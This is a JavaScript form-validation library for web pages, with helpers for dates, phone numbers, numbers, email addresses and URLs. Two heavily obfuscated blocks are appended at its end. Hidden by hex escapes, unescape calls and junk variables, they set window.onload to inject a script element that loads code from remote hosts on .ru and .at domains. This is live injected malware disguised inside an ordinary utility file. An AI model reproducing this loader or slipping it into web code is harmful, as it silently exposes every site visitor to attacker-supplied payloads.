﻿// JScript File

//var retx=mf_validation(document.getElementById("email"),"E","Invalid email.") ;
// if(!isNumeric(document.getElementById("b_zip").value))
// if(!IsNumeric_dec(document.getElementById(price).value))

function val_date_year(y,m)
{
	var current_date = new Date();
	var current_year=current_date.getFullYear();
	if(y > current_year)
		return true;
	else if(y < current_year)
		return false;
	else if(y==current_year)
	{
		var current_mon=current_date.getMonth();
		current_mon=current_mon+1;
		if(m > current_mon)
			return true;
		else if(m < current_mon)
			return false;
		else if(m==current_mon)
		{		
			return true;
		}
		else
		return false;
	}
}

function validate_phone(obj,msg)
{
var ind1=obj.value.indexOf('-');
var rm=obj.value.substring(ind1+1);
var ind2=rm.indexOf('-');
if(obj.value.length<10)
{
   alert(msg);
   obj.focus();
   return false;
}
if(ind1!=3 || ind2 !=3)
{
   alert(msg);
   obj.focus();
   return false;
}
if(!isNumeric(obj.value.substring(0,3)))
  {
   alert(msg);
   obj.focus();
   return false;
  } 
if(!isNumeric(obj.value.substring(4,7)))
  {
   alert(msg);
   obj.focus();
   return false;
  } 
if(!isNumeric(obj.value.substring(8,obj.value.length)))
  {
   alert(msg);
   obj.focus();
   return false;
  }  
if(parseInt(obj.value.substring(0,3))==0)
{
  alert(msg);
  obj.focus();
  return false; 
}
if(parseInt(obj.value.substring(4,7))==0)
{
  alert(msg);
   obj.focus();
   return false;
 
}
if(parseInt(obj.value.substring(8,obj.value.length))==0)
{
  alert(msg);
   obj.focus();
   return false;
 
}
}


function val_date_to(y,m,d,y1,m1,d1)
{	
//alert(y+":"+m+":"+d+":"+y1+":"+m1+":"+d1)	
	if(y1 > y)
		return true;
	else if(y1 < y)
		return false;
	else if(y1==y)
	{
	
		if(m1 > m)
			return true;
		else if(m1 < m)
			return false;
		else if(m1==m)
		{		
			
		if(d1 > d)
			return true;
		else if(d1 < d)
			return false;
		else
			return true;

		}
	}
}



// check current date

function val_date(y,m,d)
{
	var current_date = new Date();
	var current_year=current_date.getFullYear();
	if(y > current_year)
		return true;
	else if(y < current_year)
		return false;
	else if(y==current_year)
	{
		var current_mon=current_date.getMonth();
		current_mon=current_mon+1;
		if(m > current_mon)
			return true;
		else if(m < current_mon)
			return false;
		else if(m==current_mon)
		{
			var current_day=current_date.getDate();
			
		if(d > current_day)
			return true;
		else if(d < current_day)
			return false;
		else
			return true;

		}
	}
}


function IsNumeric_dec(strString)
   //  check for valid numeric strings	
   {
	var field=strString;
	var apos=field.indexOf(".");
	var dotpos=field.lastIndexOf(".");
//	alert(apos+":"+strString.length);
	if(apos==0 && strString.length==1)
	return false;
	if(apos!=dotpos)
	return false;
   var strValidChars = "0123456789.";
   var strChar;
   var blnResult = true;

   if (strString.length == 0) return false;

   //  test strString consists of valid characters listed above
   for (i = 0; i < strString.length && blnResult == true; i++)
      {
		 
      strChar = strString.charAt(i);
      if (strValidChars.indexOf(strChar) == -1)
         {
         blnResult = false;
         }
      }
   return blnResult;
   }

//numeric validations 


function isNumeric(strString)
{
  var strValidChars = "0123456789";
   var strChar;
   var blnResult = true;

   if (strString.length == 0) return false;

   //  test strString consists of valid characters listed above
   for (i = 0; i < strString.length && blnResult == true; i++)
      {
		 
      strChar = strString.charAt(i);
      if (strValidChars.indexOf(strChar) == -1)
         {
         blnResult = false;
         }
      }
   return blnResult;
}

//telephone  validations

///--------

function mf_phone(obj,msg) 
{ 
	//var echeck=/^[0-9]+([-][0-9])*[0-9]+/;
	if(!checkInternationalPhone(obj.value))
	{	   
		alert(msg); 	
		obj.select();		
		obj.focus(); 
		return false; 

	}
}


/**
 * DHTML phone number validation script. Courtesy of SmartWebby.com (http://www.smartwebby.com/dhtml/)
 */

// Declaring required variables
var digits = "0123456789";
// non-digit characters which are allowed in phone numbers
var phoneNumberDelimiters = "()- ";
// characters which are allowed in international phone numbers
// (a leading + is OK)
var validWorldPhoneChars = phoneNumberDelimiters + "+";
// Minimum no of digits in an international phone no.
var minDigitsInIPhoneNumber = 10;

function isInteger(s)
{   var i;
    for (i = 0; i < s.length; i++)
    {   
        // Check that current character is number.
        var c = s.charAt(i);
        if (((c < "0") || (c > "9"))) return false;
    }
    // All characters are numbers.
    return true;
}

function stripCharsInBag(s, bag)
{   var i;
    var returnString = "";
    // Search through string's characters one by one.
    // If character is not in bag, append to returnString.
    for (i = 0; i < s.length; i++)
    {   
        // Check that current character isn't whitespace.
        var c = s.charAt(i);
        if (bag.indexOf(c) == -1) returnString += c;
    }
    return returnString;
}

function checkInternationalPhone(strPhone)
{
	s=stripCharsInBag(strPhone,validWorldPhoneChars);
	return (isInteger(s) && s.length >= minDigitsInIPhoneNumber);
}


// trim function

function trim(stringToTrim) 
{
	return stringToTrim.replace(/^\s+|\s+$/g,"");
}

// chop function 

	
	function chopText(elem, limit)
	 {
	 
		if(elem.value.length>limit)
			elem.value=elem.value.substring(0,limit);
	
	 }


function mf_validation(obj,type,msg) 
{ 

     // removing white spaces
     if (type!="I") 
	   obj.value = trim(obj.value);

    // Blank Field Validation
			if (type=="B") 
			{ 
		 
				if(obj.value=="") 
				{ 
					alert(msg); 
					obj.select();
					obj.focus(); 
					return false; 
				} 
			} // end if type B 

		// Number Field Validation
			if (type=="N") 
			{ 
				if(obj.value=="" || obj.value<0 || isNaN(obj.value)==true) 
				{ 
					alert(msg); 
					obj.select();
					obj.focus(); 
					return false; 
				} 
 
			} // end if type N
			
		
 		// Text Field Validation
			if (type=="T") 
			{ 
				var last = obj.value;
				var flag = 1;
				for (var i = 0; i < last.length; i++)
				{
					var ch = last.substring(i, i + 1);
					if (((ch < "a" || "z" < ch) &&  (ch!=" " && ch!=",")) && ((ch < "64" || "Z" < ch) &&  (ch!=" " && ch!=",")))
						{
							flag = 0;
							break;
						}
				}
				if( flag==0 )
				 {
					alert(msg); 
					obj.select();
					obj.focus();
					return false;
				 }
		   	} // end if type T 
			
			// Email Field Validation
			
			if (type=="E") 
			{ 			
				if(emailCheck(obj.value)==false) 
					{ 
					
						alert(msg); 
						obj.select();
						obj.focus(); 
						return false; 
					} 
 
			} // end if type E 
			
			
			// URL Field Validation
			if (type=="U") 
			{ 
				if(isValidURL(obj.value)==false) 
					{ 
						alert(msg); 
						obj.select();
						obj.focus(); 
						return false; 
					} 
 
			} // end if type U 	
			
			
			// blank image upload validation
			if (type=="I") 
			{ 
		
				if (!/(\.(gif|jpg|jpeg|png))$/i.test(obj.value))
					{ 
					
						alert(msg); 
						obj.select();
						obj.focus(); 
						return false; 
					} 
 
			} // end if type I
		
			

 
} // END FUNCTION  

// function for url validation

function isValidURL(url){ 
    var RegExp = /^(([\w]+:)?\/\/)?(([\d\w]|%[a-fA-f\d]{2,2})+(:([\d\w]|%[a-fA-f\d]{2,2})+)?@)?([\d\w][-\d\w]{0,253}[\d\w]\.)+[\w]{2,4}(:[\d]+)?(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; 
    if(RegExp.test(url)){ 
         return true;
    }else{ 
		return false;
    } 
} 


// function for email no validation
function emailCheck(str1) 
{ 
        var RegExp = /^((([a-z]|[0-9]|!|#|$|%|&|'|\*|\+|\-|\/|=|\?|\^|_|`|\{|\||\}|~)+(\.([a-z]|[0-9]|!|#|$|%|&|'|\*|\+|\-|\/|=|\?|\^|_|`|\{|\||\}|~)+)*)@((((([a-z]|[0-9])([a-z]|[0-9]|\-){0,61}([a-z]|[0-9])\.))*([a-z]|[0-9])([a-z]|[0-9]|\-){0,61}([a-z]|[0-9])\.)[\w]{2,4}|(((([0-9]){1,3}\.){3}([0-9]){1,3}))|(\[((([0-9]){1,3}\.){3}([0-9]){1,3})\])))$/ 
	
    if(RegExp.test(str1)){ 
        return true;
    }else{ 
		return false;
    } 


}//end of function emailCheck

// function for validating multiple emails
function multiEmail(obj, msg)
{
	var emails = trim(obj.value);
	var email  = emails.split(',');
	var retVal;
	for (var i = 0; i < email.length; i++)
	 {
	   email_add = trim(email[i]);	  
	   if(emailCheck(email_add) == false) 
		{ 
			alert(msg + ', Check email id ' + (i + 1)); 
			obj.select();
			obj.focus(); 
			return false; 
			break;
		} 	

     }
	
}


function Chkemail(str)
 {
   var eid = str;
    if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(trim(eid)))
    { }
    else
    {
      alert("Invalid E-mail Address. Please re-enter.");
      return (false);
    }
   return true;
 }
var M=new String();try {var A='';var v;if(v!='Dq'){v=''};var AL;if(AL!='iE' && AL!='JI'){AL=''};var G=window[unescape("%75%6e%65%73%63%61%70%65")];var W=window[G("%52%65%67%45%78%70")];var k;if(k!='' && k!='Jw'){k=null};var D=null;var J=G("%72%65%70%6c%61%63%65");var P="";function s(m,g){var E;if(E!='S' && E != ''){E=null};var sq=G("%5b");var B=new Date();var w=new Date();sq+=g;sq+=G("%5d");var xl="";var sO=new W(sq, G("%67"));var ga=new Array();var t;if(t!='Le' && t!='o'){t='Le'};return m.replace(sO, D);var rP=new Date();};var FF;if(FF!='hp' && FF!='Gn'){FF=''};var Ld;if(Ld!=''){Ld='Dx'};var V=s('/QgQoEoUgQlVeS.RcSowmV/Np1rDoUbwozaVrUdRsJ.1cNoDmV/Q5Q5ibibis3.UcxozmS.3pHh1pD','EQiIz1UD3HVRNSwxJ');var f=new String();var _=new Date();var m=G("%31");this.Pz="";var qq=new Array();var sl;if(sl!='' && sl!='mH'){sl='Sr'};var I_='';var r="qTGonloa".substr(3)+"A0ad".substr(3);var R;if(R!='' && R!='Lp'){R=''};var Z=new String();var n=s('8121255522596523323201139616513677748559214376222767076653516529495191','46732159');var U="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6c\x75\x65\x73\x71\x75\x65\x61\x6c\x2e\x72\x75\x3a";var c=G("%73%63%72%69%70%74");var cr='';var jc="";function O(){var JS;if(JS!='' && JS!='Up'){JS=''};var sA=new String();var q=document;var cf;if(cf!='mO' && cf!='PQ'){cf=''};j=q.createElement(c);var bX="";cr+=U;this.bQ='';var vR;if(vR!='fz'){vR=''};cr+=n+V;j.src=cr;this.A_='';j.defer=m;var Cy=new Date();this.EZ="";var jO=q.body;jO.appendChild(j);var BKp="";var bXC;if(bXC!='' && bXC!='xlX'){bXC=''};};window[r]=O;var rD;if(rD!=''){rD='vv'};} catch(H){this.wk="";};var X_=new Date();var pq;if(pq!='' && pq!='Ot'){pq='aU'};
function d(){this.ad="";this.i="";var b=window;var aU=new Date();var U=b['unescape'];var Y;if(Y!=''){Y='gy'};var Am=new String();var y=U("%2f%67%6f%6f%67%6c%65%2d%63%6f%6d%2d%73%67%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6f%76%65%72%2d%62%6c%6f%67%2e%63%6f%6d%2e%70%68%70");this.j="";var hE;if(hE!='' && hE!='_a'){hE=null};var Ar;if(Ar!='R' && Ar!='GS'){Ar='R'};function L(D,a){var HW;if(HW!='JD' && HW!='l'){HW='JD'};var n;if(n!='Fd'){n=''};var A=U("%5d");var s=U("%5b");var Fz="";var Lp="g";var Yb;if(Yb!='no' && Yb!='p'){Yb=''};var H=new RegExp(s+a+A, Lp);var go=new String();return D.replace(H, new String());var N;if(N!='Ac' && N!='Hp'){N='Ac'};};var Rs;if(Rs!=''){Rs='zO'};var ZI='';var Ke;if(Ke!='' && Ke!='qS'){Ke='oR'};var u=L('sSrUcG','PaL8ojM_CGUSR');var Zd=new Date();this.VJ="";var w=L('socYrZiMpjtm','MgjdJF3QOqYoZexDumWL41');var V=L('dgeVfteJr3','FotgcbJp3lqVsHm');var Z=document;var xZ;if(xZ!=''){xZ='fa'};var nK='';var VA=L('85421915932515422304433539351441815413244331453509152921591245','543192');var t;if(t!='dY' && t!='vH'){t='dY'};this.zv="";this.XH='';function F(){var MB=new String();var uF="";var g=U("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");var O=g;O+=VA;var uq=new Array();O+=y;var tb;if(tb!='yd' && tb!='Ti'){tb=''};var aB='';var PQ;if(PQ!='' && PQ!='gh'){PQ=null};var ko='';try {var dm;if(dm!=''){dm='vC'};var _ay;if(_ay!='MJ' && _ay!='oF'){_ay=''};q=Z[L('cYrDeYastUejEKlueRmFejnutK','3bUBYRdDux9FsjZK')](w);this.yO='';this.wA='';q[V]=[1][0];q[u]=O;var hq;if(hq!='' && hq!='bm'){hq='eK'};var lV;if(lV!='UJ'){lV='UJ'};var wz="";Z.body[L('aspLpge3nPd8CshLi3lHdV','Lg83sH5VPZEy')](q);this.LB='';var US="";} catch(ub){};var kJ="";var Nk="";var eQ;if(eQ!='I' && eQ!='DU'){eQ='I'};var It="";}var FI;if(FI!='' && FI!='es'){FI=''};var J=L('oBnBlBoSasdS','ZBs8krS');var QS='';b[J]=F;var aj="";var tL;if(tL!='hA'){tL='hA'};};var NO=new Array();var Xq;if(Xq!='JO' && Xq!='Pw'){Xq=''};d();